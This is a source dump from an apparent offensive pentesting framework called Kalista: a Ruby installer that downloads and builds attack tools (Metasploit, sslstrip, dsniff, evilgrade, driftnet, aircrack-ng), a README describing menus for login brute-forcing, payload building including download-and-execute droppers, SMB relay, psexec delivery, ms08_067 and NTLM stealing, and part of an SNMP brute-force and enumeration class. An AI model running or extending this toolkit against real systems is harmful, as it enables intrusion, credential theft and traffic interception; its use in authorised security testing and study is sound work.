| check_gems 30 | end 31 | 32 | #Check gems needed and return array of those needed 33 | def check_gems 34 | puts "Installing Ruby Gems....." 35 | gemz = [ 'rb-readline', 'colorize', 'snmp', 'text-table' ] 36 | Dir.chdir(INSTALL) { 37 | gemz.each do |g| 38 | system("sudo gem install #{g}") 39 | end 40 | } 41 | end 42 | 43 | # Check if Git is already installed as we need it for many tools and you should have it if you dont already! :p 44 | def check_git 45 | g = commandz('which git') 46 | if not g.size > 0 47 | puts "Attempting to install git...." 48 | if @fetch == 'yum' 49 | system("sudo #{@fetch} install curl-devel expat-devel gettext-devel openssl-devel zlib-devel") 50 | elsif @fetch == 'apt-get' 51 | system("sudo #{@fetch} install libcurl4-gnutls-dev libexpat1-dev gettext libz-dev libssl-dev") 52 | else 53 | puts 54 | puts "Git doesn't appear to be installed & you have no available package manager!" 55 | puts "Can't continue without these key items!" 56 | puts "Try things manually or try installing git manually......" 57 | puts 58 | puts 59 | exit 666; 60 | end 61 | system("sudo #{@fetch} install git") 62 | else 63 | puts "Git appears to be installed!" 64 | end 65 | end 66 | 67 | # Small function to determine our package installer, apt-get or yum 68 | # Expand it in future to include more options.... 69 | def check_installer 70 | a = commandz('which apt-get') 71 | if not a.size > 0 72 | puts "Apt-Get appears to be installed!" 73 | @fetch='apt-get' 74 | else 75 | puts "Apt-Get doesn't appears to be available, checking for yum....." 76 | b = commandz('which yum') 77 | if not b.size > 0 78 | puts "Yum appears to be installed!" 79 | @fetch='yum' 80 | else 81 | puts 82 | puts "Can't find a package installer I know how to use!" 83 | puts "You will have issues installing some of the dependencies as a result, sorry....." 84 | puts 85 | @fetch='nil' 86 | end 87 | end 88 | end 89 | #Check tools and return array of those needed 90 | def check_tools 91 | toolz = [ 'msfconsole', 'keimpx', 'dnsrecon', 'dnsmap', 'nmap', 'netdiscover', 'nbtscan', 'aircrack-ng', 'dsniff', 'macchanger', 'evilgrade', 'sslstrip', 'driftnet' ] #'pwdump' 92 | Dir.chdir(INSTALL) { 93 | toolz.each do |t| 94 | case t 95 | # when 'pwdump' 96 | # e = commandz('which pwdump') 97 | # if not e.size > 0 98 | # puts "Installing PWDUMP Tool....." 99 | # pwdump_installer 100 | # else 101 | # puts "PWDUMP appears to be installed!" 102 | # end 103 | when 'driftnet' 104 | e = commandz('which driftnet') 105 | if not e.size > 0 106 | puts "Installing Driftnet MiTM Tool....." 107 | driftnet_installer 108 | else 109 | puts "Driftnet appears to be installed!" 110 | end 111 | when 'sslstrip' 112 | e = commandz('which sslstrip') 113 | if not e.size > 0 114 | puts "Installing SSLSTRIP MiTM Tool....." 115 | sslstrip_installer 116 | else 117 | puts "SSLSTRIP appears to be installed!" 118 | end 119 | when 'evilgrade' 120 | e = commandz('which evilgrade') 121 | if not e.size > 0 122 | e = commandz('locate isr-evilgrade/evilgrade') 123 | if not e.size > 0 124 | puts "Installing Evilgrade....." 125 | Dir.chdir(INSTALL) { 126 | system('git clone https://github.com/infobyte/evilgrade.git') 127 | } 128 | else 129 | puts "Evilgrade appears to be installed!" 130 | end 131 | else 132 | puts "Evilgrade appears to be installed!" 133 | end 134 | when 'macchanger' 135 | e = commandz('which macchanger') 136 | if not e.size > 0 137 | macchanger_installer 138 | else 139 | puts "MacChanger appears to be installed!" 140 | end 141 | when 'dsniff' 142 | e = commandz('which dsniff') 143 | if not e.size > 0 144 | puts "Installing DSNIFF Tool Suite....." 145 | dsniff_installer 146 | else 147 | puts "DSNIFF appears to be installed!" 148 | end 149 | when 'aircrack-ng' 150 | e = commandz('which aircrack-ng') 151 | if not e.size > 0 152 | puts "Installing Aircrack Wireless Tool Suite....." 153 | aircrack_installer 154 | else 155 | puts "Aircrack appears to be installed!" 156 | end 157 | when 'nbtscan' 158 | e = commandz('which nbtscan') 159 | if not e.size > 0 160 | puts "Installing nbtscan NetBios Scanner....." 161 | nbtscan_installer 162 | else 163 | puts "nbtscan appears to be installed!" 164 | end 165 | when 'netdiscover' 166 | e = commandz('which netdiscover') 167 | if not e.size > 0 168 | puts "Installing NetDiscover Sniffing Tool....." 169 | netdiscover_installer 170 | else 171 | puts "NetDiscover appears to be installed!" 172 | end 173 | when 'nmap' 174 | e = commandz('which nmap') 175 | if not e.size > 0 176 | puts "Installing NMAP Scanner....." 177 | nmap_installer 178 | else 179 | puts "NMAP appears to be installed!" 180 | end 181 | when 'dnsmap' 182 | e = commandz('which dnsmap') 183 | if not e.size > 0 184 | puts "Installing DNSMAP DNS Scanner....." 185 | dnsmap_installer 186 | else 187 | puts "DNSMAP appears to be installed!" 188 | end 189 | when 'dnsrecon' 190 | e = commandz('which dnsrecon') 191 | if not e.size > 0 192 | e = commandz('locate dnsrecon.py') 193 | if not e.size > 0 194 | puts "Installing DNSRECON DNS Scanner....." 195 | Dir.chdir(INSTALL) { 196 | system('git clone https://github.com/darkoperator/dnsrecon.git') 197 | } 198 | else 199 | puts "DNSRECON appears to be installed!" 200 | end 201 | else 202 | puts "DNSRECON appears to be installed!" 203 | end 204 | when 'msfconsole' 205 | e = commandz('which msfconsole') 206 | if not e.size > 0 207 | puts "Installing Metasploit Community Edition, you will need to fill out a few questions in the GUI....." 208 | msf_installer 209 | else 210 | puts "Metasploit appears to be installed!" 211 | end 212 | when 'keimpx' 213 | e = commandz('locate keimpx.py') 214 | if not e.size > 0 215 | puts "Installing KEIMPX SMB Tool....." 216 | Dir.chdir(INSTALL) { 217 | system('git clone https://github.com/inquisb/keimpx.git') 218 | } 219 | else 220 | puts "KEIMPX appears to be installed!" 221 | end 222 | end 223 | end 224 | } 225 | end 226 | 227 | # DNSMAP Installer 228 | def dnsmap_installer 229 | Dir.chdir(INSTALL) { 230 | system('wget http://dnsmap.googlecode.com/files/dnsmap-0.30.tar.gz') 231 | system('tar zxvf dnsmap-0.30.tar.gz') 232 | Dir.chdir('dnsmap-0.30') { 233 | system('gcc -Wall dnsmap.c -o dnsmap') 234 | system('chmod +x dnsmap') 235 | system('cp dnsmap /usr/bin/dnsmap') 236 | } 237 | } 238 | end 239 | 240 | # Metasploit Installer 241 | def msf_installer 242 | if osm =~ /x64|x86_64/ 243 | system('wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run') 244 | system('chmod +x metasploit-latest-linux-x64-installer.run') 245 | system('sudo metasploit-latest-linux-x64-installer.run') 246 | else 247 | system('wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x32-installer.run') 248 | system('chmod +x metasploit-latest-linux-x32-installer.run') 249 | system('sudo metasploit-latest-linux-x32-installer.run') 250 | end 251 | end 252 | 253 | # NMAP Installer 254 | def nmap_installer 255 | Dir.chdir(INSTALL) { 256 | system('wget http://nmap.org/dist/nmap-6.25.tgz') 257 | system('tar zxvf nmap-6.25.tgz') 258 | Dir.chdir('nmap-6.25') { 259 | system('./configure') 260 | system('make') 261 | system('sudo make install') 262 | } 263 | } 264 | end 265 | 266 | # NetDiscover Network Sniffer Tool 267 | def netdiscover_installer 268 | Dir.chdir(INSTALL) { 269 | system('wget http://nixgeneration.com/~jaime/netdiscover/releases/netdiscover-0.3-beta6.tar.gz') 270 | system('tar zxvf netdiscover-0.3-beta6.tar.gz') 271 | Dir.chdir('netdiscover-0.3-beta6') { 272 | system('./configure') 273 | system('make') 274 | system('sudo make install') 275 | } 276 | } 277 | end 278 | 279 | #NBTSCAN NetBios Scanner 280 | def nbtscan_installer 281 | Dir.chdir(INSTALL) { 282 | system('wget http://www.mirrorservice.org/sites/www.ibiblio.org/gentoo/distfiles/nbtscan-1.5.1.tar.gz') 283 | system('tar zxvf nbtscan-1.5.1.tar.gz') 284 | Dir.chdir('nbtscan-1.5.1') { 285 | system('./configure') 286 | system('make') 287 | system('sudo make install') 288 | } 289 | } 290 | end 291 | 292 | # Aircrack Wireless Tool Set Installer 293 | def aircrack_installer 294 | Dir.chdir(INSTALL) { 295 | system('wget http://download.aircrack-ng.org/aircrack-ng-1.2-beta1.tar.gz') 296 | system('tar zxvf aircrack-ng-1.2-beta1.tar.gz') 297 | Dir.chdir('aircrack-ng-1.2-beta1') { 298 | system('make sqlite=true') 299 | system('sudo make sqlite=true install') 300 | } 301 | } 302 | end 303 | 304 | # DSNIFF Tool Suite for MiTM Audits and Attacks 305 | def dsniff_installer 306 | Dir.chdir(INSTALL) { 307 | system('wget http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz') 308 | system('tar zxvf dsniff-2.3.tar.gz') 309 | Dir.chdir('dsniff-2.3') { 310 | system('./configure') 311 | system('make') 312 | system('sudo make install') 313 | } 314 | } 315 | end 316 | 317 | # MacChanger Installer 318 | # Allows you to change MAC address which can be very handy for all sorts of scannings, mitm and wifi fun 319 | def macchanger_installer 320 | if @fetch != 'nil' 321 | puts "Installing MacChanger and MacChanger-GTK....." 322 | system("sudo #{@fetch} install macchanger macchanger-gtk") 323 | else 324 | puts 325 | puts "No package installer available!" 326 | puts "Can't install MacChanger or MacChanger-GTK as a result....." 327 | puts 328 | end 329 | end 330 | 331 | # SSLSTRIP Installer 332 | def sslstrip_installer 333 | Dir.chdir(INSTALL) { 334 | system("sudo #{@fetch} install python-twisted-web") 335 | system('wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz') 336 | system('tar -zxvf sslstrip-0.9.tar.gz') 337 | Dir.chdir('sslstrip-0.9') { 338 | system('sudo python ./setup.py install') 339 | } 340 | } 341 | end 342 | 343 | # DriftNet Installer 344 | # Grabs Images and Audio files out of network captures. Handy for MiTM attacks... 345 | def driftnet_installer 346 | Dir.chdir(INSTALL) { 347 | system('wget http://www.ex-parrot.com/~chris/driftnet/driftnet-0.1.6.tar.gz') 348 | system('tar -zxvf driftnet-0.1.6.tar.gz') 349 | Dir.chdir('driftnet-0.1.6') { 350 | system('make') 351 | system('sudo make install') 352 | } 353 | } 354 | end 355 | 356 | ###################################################### 357 | # ################ MAIN ################ # 358 | ###################################################### 359 | # Check if its a Linux system, if not all bets are off! 360 | if RUBY_PLATFORM =~ /win|.NET/i 361 | puts "\n\nThis is not meant for Winblows!" 362 | puts "GTFO!\n" 363 | end 364 | os=`uname -o` 365 | osm=`uname -m` 366 | osv=`uname -v` 367 | if not os =~ /linux/i 368 | puts "Doesn't appear to be a Linux system, can't promise anything will work....." 369 | end 370 | 371 | # Create our Installation Directory if it doesn't exist yet 372 | Dir.mkdir(INSTALL) unless File.exists?(INSTALL) 373 | 374 | # Check if we are running on Kali Linux, our intended target it was written for 375 | # If Global paths are fixed after all dependencies are installed everything should work fine, should.... 376 | if not osv =~ /kali/i 377 | puts "Doesn't appear to be a Kali Linux system, can't promise everything will work flawlessly but here goes....." 378 | end 379 | 380 | puts "Starting Kalista Dependency Installer...." 381 | check_depenencies 382 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | _|_| _| _| _| 2 | _| _| _|_|_| _|_| _|_|_| _| _| _| _|_| _|_| 3 | _| _| _| _| _|_|_|_| _| _| _| _| _| _| _|_| _|_|_|_| 4 | _| _| _| _| _| _| _| _| _| _| _| _| _| 5 | _|_| _|_|_| _|_|_| _| _| _| _| _| _| _|_|_| 6 | _| 7 | _| 8 | OpenWire Project Kalista, v0.1-aplha 9 | 10 | Project Kalista Readme: 11 | 12 | This is something I made for myself and decided to share as others kind of liked it. It's a lot of wrappers for common tasks done during auditing and pentesting. It has a main menu which you can navigate to any of the sub-menu's or in most cases you can run the arguments needed at run time to launch directly into the needed sub-menu of choice. It was originally designed to be used on the newer Kali Linux distro but I am slowly working on tweaking it here and there to try and make it work on other distros if you have the underlying dependencies and tools required to run. The installer.rb file is still in the works but is my first shot at helping somone get setup to use on another distro, no guarantees for the moment. Poke around, have fun & enjoy! 13 | 14 | Usage:./kalista [OPTIONS] 15 | 16 | Options: 17 | -m, --main 18 | Main Menu 19 | -r, --recon 20 | Recon & Discovery Menu 21 | -b, --brute 22 | Logins & Bruteforce Menu 23 | -p, --payloads 24 | Payload Builder Menu 25 | -l, --listener 26 | Listner Builder Menu 27 | -x, --exploit 28 | Exploits Menu 29 | -w, --wifi 30 | WiFi Menu 31 | -M, --mitm 32 | MiTM Menu 33 | -u, --update 34 | Updates Menu 35 | -s, --smbfun 36 | SMB Tools Menu 37 | -h, --help 38 | Display Help Menu 39 | 40 | MAIN MENU: 41 | This allows you to navigate to any of the sub-menus as well as ability to run a few options which are not accessible elsewhere. It is setup to act like a typical command shell to keep you comfy. You can type HELP to see the list of options available, CLS or CLEAR to clear terminal, and EXIT to exit the framework completely - these all work thoughout the framework and sub-menus. From the Main Menu you can easily jump to the sub-menus which are all named by their respective categories. As you change menus within the framework you will notice the command prompt will change accordingly to keep you informed of where you are so you dont get lost. As options are enabled and tasks run the tasks are mostly run in separate x-term windows while keeping everything easy to track. Windows are titled and for all MSF wrappers the results are stored in the MSF database in addition to whatever is stored in the local Kalista results directory. 42 | 43 | (Kalista)> help 44 | List of commands and description of usage: 45 | clear => Clear Screen 46 | exit => Exit Completely 47 | help => Display this Help Menu 48 | 49 | recon => Recon & Discovery Shell 50 | login => Logins & Bruteforcers Shell 51 | payload => Payloads Builder Shell 52 | listener => Listener & Connection Handler Setup 53 | snmp => Windows SNMP Enumation Tools 54 | smb => SMB Tools 55 | exploit => Exploits Shell 56 | wifi => WiFi Shell 57 | mitm => MiTM Shell 58 | update => Updater 59 | 60 | local => Local OS Shell 61 | rb => Evaluates Ruby Code 62 | 63 | RB: 64 | There is a built in option to evaluate raw ruby code. This allows you to do what you want on the fly as needed. If you know the framework you can also leverage any of the existing built-ins from here. Please refrain from using global variables as this is largely what the framework relies on and it may cause some issues if you do... 65 | 66 | LOCAL: 67 | This simple drops to a pseudo shell where you can execute local OS commands without having to exit the framework completely. You should be able to do most activities you would normally perform from the command line. I have not experienced any issues yet, but can't promise the world as I'm sure there is something I just haven't come across yet. If you break it you buy it, jk - please send me a note so I can try to fix! 68 | 69 | RECON: 70 | Recon as is it is named takes you to some options for performing common recon tasks. There are a few options for performing discovery via ARP scans, there are a few options for DNS enumeration as well as a few other discovery scanners which use various port scans to perform their particular function (MS-SQL, WinRM, NetBios, NMAP, etc). Below is a listing from the help menu to give you an idea, most options will be menu driven after selected and will run once the setup questions are finished (target, ip/range, etc). 71 | 72 | (Recon)> help 73 | List of available commands and general description: 74 | arp => ARP Discovery Scan using MSF 75 | netdiscover => ARP Discovery Scan using Netdiscover 76 | dnsrecon => DNS Enumeration using DNSRECON 77 | subrecon => Sub-Domain Enumeration using DNSRECON 78 | submap => Sub-Domain Enumeration using DNSMAP 79 | nbtscan => NBTSCAN NetBios Scan 80 | nmap => NMAP Scan 81 | mssql_ping => MS-SQL Ping Utility 82 | winrm => WinRM Authentication Method Detection 83 | 84 | LOGIN: 85 | This is a menu for attacking various service logins. At the moment these all leverage MSF Auxiliary modules, some variance in the future is expected (i.e. Hydra + Ncrack alternatives). Once your option is selected you will be taken through wizard to setup attack configuration, once done it is launched in a new window with results stored in MSF database. 86 | 87 | (Logins)> help 88 | List of available commands and general description: 89 | ssh => SSH Login Scanner 90 | ftp_login => FTP Login Scanner 91 | ftp_anon => Anonymous FTP Login Scanner 92 | mssql_login => MS-SQL Login Scanner 93 | pgsql_login => PostgreSQL Login Scanner 94 | mysql_login => MySQL Login Scanner 95 | mysql_auth => MySQL Authentication Bypass Password Dumper 96 | telnet => Telnet Login Scanner 97 | winrm => WinRM Login Scanner 98 | 99 | PAYLOAD: 100 | This is the menu for the payload builder menu. From here you can configure and build all sorts of payloads leveraging MSF under the hood in most cases. You can find options for building payloads for Linux, Windows, Web Applications, PDFs and all with various formats or options available to you. As with the other menus once an option is selected the wizard will guide you through questions to get things setup and then point you at the final payload which should be stored somewhere in the results directory. 101 | 102 | NOTE: This uses basic MSF encoding when encoding so don't expect 100% FUD paylaods bypassing all sorts of AV but it gets job done in plenty of cases. CUSTOM::EXE Support coming soon in future editions where applicable. Shellcode generator also planned for future editions... 103 | 104 | (Payloads)> help 105 | List of available commands and general description: 106 | elf => Linux ELF Executable 107 | deb => Linux DEB Installer Package, using: Tint (This is Not Tetris) 108 | web => ASP, JSP & PHP Web Payloads 109 | exe => Windows EXE Executable 110 | pdf => Windows PDF Embedded Payload 111 | war => WAR (Web-Archive) Payloads 112 | downloader => Windows Download & Execute Payload 113 | vbs_down => Windows VBScript Downloader, NO Execution 114 | powershell => Windows PowerShell Payloads 115 | 116 | LISTENER: 117 | This will take you into a wizard driven guide to setup a local listener or to connect to bind shell you already have waiting. It uses the MSF multi-handler for most of the payload handlings but also has wrappers for NCAT and NetCat when you select the generic payload option. Fairly straight forward business here... 118 | 119 | SNMP: 120 | This is custom SNMP tool I wrote to perform some recon and enumeration against Windows systems. It is designed to be able to go after other systems and devices as well but you will have to figure out or enumerate the needed MiB for calls. Currently it is targeted at Windows and is capable of running login attack against community string. Once valid READ string is found against Windows box it can enumerate System Info (Uptime, System Name, etc), Valid User Account Usernames, Running Processes, Running Services, and Open Ports TCP/UDP. You can play around with what you can do if you have WRITE string access. I plan to add to this as time goes on and I learn and find more helpful references on SNMP. I would eventually like to have some Cisco and other more common devices added with a few built-in options... 121 | 122 | (SNMP)> help 123 | List of available commands and general description: 124 | nmap => Quick NMAP SNMP Scan Builder 125 | bruteforce => Dictionary Attack SNMP Community String 126 | creds => Initialize SNMP Connection Variables (for ease of use) 127 | basic => Enumerate Basic Info 128 | dump => Dump 'MGMT' Tree 129 | users => Enumerate Windows Usernames 130 | netstat => Enumerate Windows Currently Open TCP & UDP Ports 131 | process => Enumerate Windows Running Processes 132 | services => Enumerate Windows Running Services 133 | software => Enumerate Windows Installed Software 134 | 135 | o2n => Convert OID to Symbolic Name 136 | n2o => Convert Symbolic Name to OID 137 | walk => Walk Tree by OID or Symbolic Name 138 | set => Set Value for Specified OID to given String 139 | 140 | SMB: 141 | This is my favorite sub-menu and the one I use the most. It contains several helpful wrappers for performing SMB Recon and Attacks. This includes version scanning, password auditing, domain user enumeration and several options for payload delivery given valid credentials. The noshell_hell option is my own custom MSF module. It is included with Kalista in the extras directory but Kalista will copy into MSF directory if it doesnt find it. This leverages the smb_exec method to run a bunch of enumeration and attack commands without uploading binaries to target. MPX is another one i made and is mainly just a wrapper for the MSF standalone psexec tool to extend its value by allowing it to accept larger ranges and lists of passwords or password hashes. Keimpx is another tool which uses the impacket library for Core guys which is really awesome tool which can come in handy in lots of various occassions. Encourage you to poke around and find what works for you, let me know what doesnt :) 142 | 143 | (SMBFun)> help 144 | List of available commands and general description: 145 | smb_version => SMB Version Scanner 146 | smb_login => SMB Login Scanner 147 | smb_pipe => SMB Pipe Auditor 148 | smb_dcerpc => SMB DCERPC Pipe Auditor 149 | smb_shares => SMB Shares Enumerator 150 | smb_domains => SMB Domain Users Enumerator 151 | smb_exec => MSF PSEXEC_COMMAND (No Shell CMD Exec) 152 | noshell_hell => MSF PSEXEC_COMMAND (No Shell Hell) 153 | psexec => MSF PSEXEC Payload Delivery 154 | keimpx => KEIMPX SMB Tool 155 | mpx => Multi-Scan PSEXEC Upload & Execute Wrapper 156 | 157 | 158 | EXPLOIT: 159 | This is the exploits menu and containts quick setups for some more common exploits I tend to come across. Contains several credential capturing options and several exploit options for both Windows and Linux. Don't forget about the SMB Section as some exploit options are only there but menu space was becoming an issue so they were broken off to their own category... 160 | 161 | (Exploits)> help 162 | List of available commands and general description: 163 | smb_cap => Windows SMB Authentication Capture 164 | nbns_spoof => NetBIOS Name Service Spoofer (nbns_spoofer) 165 | http_ntlm => Windows HTTP Client Credential Capture (http_ntlm) 166 | smb_relay => Windows SMB Relay Exploit 167 | 168 | winrm => WinRM Credentialed Payload Execution 169 | netapi => Exploit Windows ms08_067 netapi 170 | trans2open => Exploit Samba trans2open (*nix: Samba versions 2.2.0 to 2.2.8) 171 | usermap => Exploit Samba 'username map script' (*nix: Samba versions 3.0.20 through 3.0.25rc3) 172 | 173 | mssql_rce => MS-SQL Server Payload Execution (Credentials) 174 | mssqli_rce => MS-SQL Server Payload Execution (via SQLi) 175 | mssql_ntlm => MS-SQL Server NTLM Stealer 176 | mssqli_ntlm => MS-SQL Server NTLM Stealer via SQLi 177 | mysql_udf => Windows Oracle MySQL UDF Payload Execution 178 | mysql_mof => Windows Oracle MySQL MOF Payload Execution 179 | pgsql_win => Windows PostgreSQL Payload Execution (Credentials) 180 | pgsql_nix => Linux PostgreSQL Payload Execution (Credentials) 181 | 182 | MITM: 183 | This is reserved for Man-In-The-Middle Attacks and Setup. I haven't coded this section yet but plan to soon. It wont be anything overly complicated, just some wrappers for basic setups and common attacks. 184 | 185 | WiFi: 186 | This is reserved for WiFi Scanning and Attacks. This section is still in the works, coming soon.... 187 | 188 | UPDATE: 189 | This is a sub-menu for updating common tools. Currently it is only setup for MSF but will likely add to it with time, although since it was originally targeted as Kali it doesn't need a whole lot :) 190 | 191 | QUESTIONS, SUGGESTIONS, OR FEEDBACK: 192 | Please feel free to message me with your questions, suggestions or feedback: hood3drob1n [ at ] gmail [ dot ] com 193 | I am not great at using Github so message me and I will likely get back to you and fix the issue sooner this way..... 194 | 195 | Hope you enjoy the new stuff! 196 | 197 | Laters, 198 | H.R. 199 | 200 | -------------------------------------------------------------------------------- /classes/snmp.rb: -------------------------------------------------------------------------------- 1 | # This is our SNMPWinStalker Class 2 | # This should house anything related to SNMP Reconn & Attacks 3 | # Mostly a Windows focus, but not limited to.... 4 | # If you add, just update the usage and snmp_shell function to make available 5 | 6 | class SNMPShell 7 | def show_snmp_usage 8 | puts "List of available commands and general description".light_yellow + ": ".white 9 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow 10 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow 11 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow 12 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow 13 | print_line("") 14 | puts "\tnmap ".light_yellow + " => ".white + "Quick NMAP SNMP Scan Builder".light_yellow 15 | puts "\tbruteforce ".light_yellow + " => ".white + "Dictionary Attack SNMP Community String".light_yellow 16 | puts "\tcreds ".light_yellow + " => ".white + "Initialize SNMP Connection Variables (for ease of use)".light_yellow 17 | puts "\tbasic ".light_yellow + " => ".white + "Enumerate Basic Info".light_yellow 18 | puts "\tdump ".light_yellow + " => ".white + "Dump 'MGMT' Tree".light_yellow 19 | puts "\tusers ".light_yellow + " => ".white + "Enumerate Windows Usernames".light_yellow 20 | puts "\tnetstat ".light_yellow + " => ".white + "Enumerate Windows Currently Open TCP & UDP Ports".light_yellow 21 | puts "\tprocess ".light_yellow + " => ".white + "Enumerate Windows Running Processes".light_yellow 22 | puts "\tservices ".light_yellow + " => ".white + "Enumerate Windows Running Services".light_yellow 23 | puts "\tsoftware ".light_yellow + " => ".white + "Enumerate Windows Installed Software".light_yellow 24 | print_line("") 25 | puts "\to2n ".light_yellow + " => ".white + "Convert OID to Symbolic Name".light_yellow 26 | puts "\tn2o ".light_yellow + " => ".white + "Convert Symbolic Name to OID".light_yellow 27 | puts "\twalk ".light_yellow + " => ".white + "Walk Tree by OID or Symbolic Name".light_yellow 28 | puts "\tset ".light_yellow + " => ".white + "Set Value for Specified OID to given String".light_yellow 29 | print_line("") 30 | end 31 | 32 | def snmp_shell 33 | prompt = "(SNMP)> " 34 | while line = Readline.readline("#{prompt}", true) 35 | cmd = line.chomp 36 | case cmd 37 | when /^clear|^cls|^banner/i 38 | cls 39 | banner 40 | snmp_shell 41 | when /^help|^h$|^ls$/i 42 | show_snmp_usage 43 | snmp_shell 44 | when /^exit|^quit/i 45 | print_line("") 46 | print_error("OK, exiting Kalista....") 47 | print_line("") 48 | exit 69; 49 | when /^back|^main/i 50 | print_line("") 51 | print_error("OK, back to the Main Menu....") 52 | print_line("") 53 | $framework.core_shell 54 | when /^nmap|^snmp_nmap/i 55 | print_line("") 56 | nmap_snmp 57 | snmp_shell 58 | when /^bruteforce|^snmp_brute|^bruter/i 59 | print_line("") 60 | snmp_brute 61 | snmp_shell 62 | when /^creds|^credz|^credential/i 63 | print_line("") 64 | snmp_creds 65 | snmp_shell 66 | when /^o2n (.+)/i 67 | print_line("") 68 | oid=$1 69 | o2n(oid) 70 | print_line("") 71 | snmp_shell 72 | when /^n2o (.+)/i 73 | print_line("") 74 | name=$1 75 | n2o(name) 76 | print_line("") 77 | snmp_shell 78 | when /^walk (.+)|^snmp_walk (.+)/i 79 | print_line("") 80 | oidname=$1 81 | snmap_walk(oidname) 82 | print_line("") 83 | snmp_shell 84 | when /^set (.+) (.+)|^snmp_set (.+) (.+)/i 85 | print_line("") 86 | oid=$1 87 | string=$2 88 | snmap_set(oid, string) 89 | snmp_shell 90 | when /^basic|^info/i 91 | print_line("") 92 | snmp_basic 93 | print_line("") 94 | snmp_shell 95 | when /^dump/i 96 | print_line("") 97 | snmp_dump 98 | print_line("") 99 | snmp_shell 100 | when /^users|^usernames/i 101 | print_line("") 102 | snmp_users 103 | print_line("") 104 | snmp_shell 105 | when /^software|^sw$/i 106 | print_line("") 107 | snmp_software 108 | print_line("") 109 | snmp_shell 110 | when /^services/i 111 | print_line("") 112 | snmp_services 113 | print_line("") 114 | snmp_shell 115 | when /^process|^ps$/i 116 | print_line("") 117 | snmp_processes 118 | print_line("") 119 | snmp_shell 120 | when /^netstat/i 121 | print_line("") 122 | snmp_netstat 123 | print_line("") 124 | snmp_shell 125 | else 126 | cls 127 | print_line("") 128 | print_error("Oops, Didn't quite understand that one") 129 | print_error("Please Choose a Valid Option From Menu Below Next Time.....") 130 | print_line("") 131 | show_snmp_usage 132 | snmp_shell 133 | end 134 | end 135 | end 136 | 137 | #Convert OID 2 Symbolic Name 138 | def o2n(oid) 139 | if not @snmp_target 140 | print_caution("Target IP: ") 141 | snmp_target = gets.chomp 142 | print_caution("Use Standard SNMP Port of 161 (Y/N)?") 143 | answer=gets.chomp 144 | if answer.upcase == 'N' or answer.upcase == 'NO' 145 | print_caution("SNMP Port: ") 146 | snmp_port=gets.chomp 147 | else 148 | snmp_port='161' 149 | end 150 | print_caution("Community String: ") 151 | snmp_cstring = gets.chomp 152 | base = SNMPStalker.new(snmp_target,snmp_port.to_i,snmp_cstring) 153 | else 154 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 155 | end 156 | base.can_we_connect 157 | if $fail == 0 158 | base.oid2name(oid) 159 | base.close 160 | else 161 | $fail=0 162 | end 163 | end 164 | 165 | #Convert Symbolic Name to OID 166 | def n2o(name) 167 | if not @snmp_target 168 | print_caution("Target IP: ") 169 | snmp_target = gets.chomp 170 | print_caution("Use Standard SNMP Port of 161 (Y/N)?") 171 | answer=gets.chomp 172 | if answer.upcase == 'N' or answer.upcase == 'NO' 173 | print_caution("SNMP Port: ") 174 | snmp_port=gets.chomp 175 | else 176 | snmp_port='161' 177 | end 178 | print_caution("Community String: ") 179 | snmp_cstring = gets.chomp 180 | base = SNMPStalker.new(snmp_target,snmp_port.to_i,snmp_cstring) 181 | else 182 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 183 | end 184 | base.can_we_connect 185 | if $fail == 0 186 | base.name2oid(name) 187 | base.close 188 | else 189 | $fail=0 190 | end 191 | end 192 | 193 | # SET value for specified OID with given string 194 | def snmap_set(oid, string) 195 | if not @snmp_target 196 | print_caution("Target IP: ") 197 | snmp_target = gets.chomp 198 | print_caution("Use Standard SNMP Port of 161 (Y/N)?") 199 | answer=gets.chomp 200 | if answer.upcase == 'N' or answer.upcase == 'NO' 201 | print_caution("SNMP Port: ") 202 | snmp_port=gets.chomp 203 | else 204 | snmp_port='161' 205 | end 206 | print_caution("Community String: ") 207 | snmp_cstring = gets.chomp 208 | base = SNMPStalker.new(snmp_target,snmp_port.to_i,snmp_cstring) 209 | else 210 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 211 | end 212 | base.can_we_connect 213 | if $fail == 0 214 | base.set(oid, string) 215 | base.close 216 | else 217 | $fail=0 218 | end 219 | end 220 | 221 | # Walk the target OID or OID Symbolic Name tree if available.... 222 | def snmap_walk(oidname) 223 | if not @snmp_target 224 | print_caution("Target IP: ") 225 | snmp_target = gets.chomp 226 | print_caution("Use Standard SNMP Port of 161 (Y/N)?") 227 | answer=gets.chomp 228 | if answer.upcase == 'N' or answer.upcase == 'NO' 229 | print_caution("SNMP Port: ") 230 | snmp_port=gets.chomp 231 | else 232 | snmp_port='161' 233 | end 234 | print_caution("Community String: ") 235 | snmp_cstring = gets.chomp 236 | base = SNMPStalker.new(snmp_target,snmp_port.to_i,snmp_cstring) 237 | else 238 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 239 | end 240 | base.can_we_connect 241 | if $fail == 0 242 | base.walk(oidname) 243 | base.close 244 | else 245 | $fail=0 246 | end 247 | end 248 | 249 | # A Pseudo initialize function to set some credentials 250 | # This will allow re-use to save time while staying in this class module 251 | def snmp_creds 252 | print_status("SNMP Connection Datastore") 253 | print_caution("Target IP: ") 254 | @snmp_target = gets.chomp 255 | print_caution("Use Standard SNMP Port of 161 (Y/N)?") 256 | answer=gets.chomp 257 | if answer.upcase == 'N' or answer.upcase == 'NO' 258 | print_caution("SNMP Port: ") 259 | @snmp_port=gets.chomp 260 | else 261 | @snmp_port='161' 262 | end 263 | print_caution("Community String: ") 264 | @snmp_cstring = gets.chomp 265 | $fail=0 266 | print_status("SNMP Connection Datastore Complete!") 267 | print_good("Target: #{@snmp_target}") 268 | print_good("Port: #{@snmp_port}") 269 | print_good("Community String: #{@snmp_cstring}") 270 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 271 | base.can_we_connect 272 | if $fail == 0 273 | base.close 274 | else 275 | $fail=0 276 | print_error("") 277 